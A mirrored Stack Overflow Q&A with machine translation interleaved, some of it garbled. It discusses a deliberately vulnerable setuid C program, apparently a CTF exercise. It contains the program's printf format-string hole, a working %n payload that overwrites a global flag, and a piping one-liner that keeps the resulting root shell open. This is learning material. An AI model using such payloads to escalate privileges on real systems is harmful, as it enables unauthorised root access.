简体   繁体   English

Setuid二进制文件通过覆盖%n来生成root shell,不能与exploit一起使用,但在不需要利用时可以工作

[英]Setuid binary to spawn root shell by overriding %n, does not work with exploit but works when exploit is unnecessary

I have a Setuid binary that has a printf format string vulnerability that is supposed to be exploited with "%n" to overwrite the value of the authenticated global variable. 我有一个具有printf格式字符串漏洞的Setuid二进制文件,该漏洞应该被“%n”利用来覆盖经过authenticated全局变量的值。 The execution of /bin/bash works with root Setuid permissions when authenticated = 1 , but not when authenticated = 0 and the exploit is used. / authenticated = 1 / bash的执行在authenticated = 1时使用root Setuid权限,但在authenticated = 0并且使用exploit时不执行。

I have tried with ls and it works, so the exec is happening. 我尝试过ls并且它有效,所以exec正在发生。 I have also tried making authenticated = 1 in the source so it automatically runs bash with no exploit. 我也尝试在源代码中进行authenticated = 1 ,因此它会自动运行bash而不会被利用。 This works in spawning a root shell. 这适用于生成根shell。 When the exploit is used, the program calls the access granted function as expected, but ends at the exec and perror is never reached. 当使用漏洞利用程序时,程序按预期调用访问授权函数,但在exec处结束并且永远不会达到perror。 The parent process dies, though, meaning the exec of bash must have happened. 然而,父进程死了,这意味着bash的执行必定已经发生。 Bash must be being executed, but it is crashing/exiting on startup. 必须执行Bash,但它在启动时崩溃/退出。

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>

int authenticated = 0;


void read_flag() {
  if (!authenticated) {
    printf("Sorry, you are not *authenticated*!\n");
  }
  else {
    printf("Access Granted.\n");
    int cpid = fork();
    if(cpid == 0){
      printf("child!\n");
      execlp("/bin/bash", "bash", NULL);
      perror("error");
    }
    else{
      wait(NULL);
    }
  }

}

int main(int argc, char **argv) {

  setvbuf(stdout, NULL, _IONBF, 0);

  char buf[64];

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  setreuid(geteuid(), getuid());

  printf("Would you like a shell? (yes/no)\n");

  fgets(buf, sizeof(buf), stdin);

  if (strstr(buf, "no") != NULL) {
    printf("Okay, Exiting...\n");
    exit(1);
  }
  else if (strstr(buf, "yes") == NULL) {
    puts("Received Unknown Input:\n");
    printf(buf);
  }

  read_flag();

}

With authenticated = 0, I use gdb to find the address of authenticated is somewhere like 0x0804a050. 使用authenticated = 0,我使用gdb来查找经过authenticated的地址,如0x0804a050。 I run the program with AAAA %x %x %x... to find that buf begins at the 4th stack position. 我用AAAA%x%x%x ...运行程序,发现buf从第4个堆栈位置开始。 My exploit then is: python -c "print('\\x50\\xa0\\x04\\x08%x%x%x%n')" which successfully overwrites the global var as "Access Granted!" 我的漏洞是: python -c "print('\\x50\\xa0\\x04\\x08%x%x%x%n')"它成功地将全局python -c "print('\\x50\\xa0\\x04\\x08%x%x%x%n')"覆盖为“访问授权!” is printed. 打印出来。 The perror is never reached, and Bash must spawn, but the parent process dies, so the Bash process must have died also. 永远不会达到perror,并且Bash必须生成,但父进程会死掉,因此Bash进程也必须已经死掉。 This does not happen when authenticated = 1 . authenticated = 1时,不会发生这种情况。 In that scenario, the Setuid binary behaves as expected and pops a root shell. 在这种情况下,Setuid二进制文件按预期运行并弹出根shell。

My question is: why is Bash dying on startup but only when the Detuid binary is exploited? 我的问题是:为什么Bash在启动时死亡,但只有当Detuid二进制文件被利用时? Bash must be dying because ps -aux does not list a new Bash process, and running exit exits the calling bash instance. Bash必须要死,因为ps -aux没有列出新的Bash进程,并且运行exit退出调用的bash实例。

When you run one of: 当你运行以下之一时:

python -c "print('\x50\xa0\x04\x08%x%x%x%n')" | ./vuln
./vuln < myPayload

The only input is your exploit. 唯一的输入是你的漏洞利用。 You don't input any commands, so bash has nothing to do and exits. 你没有输入任何命令,所以bash无事可做并退出。 This is the same thing that happens if you run true | bash 如果你运行true | bash会发生同样的事情 true | bash or bash < /dev/null . true | bashbash < /dev/null

If you want to be able to type in some commands manually afterwards, the easiest way to do that is: 如果您希望以后能够手动输入某些命令,最简单的方法是:

{ python -c "print('\x50\xa0\x04\x08%x%x%x%n')"; cat; } | ./vuln

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM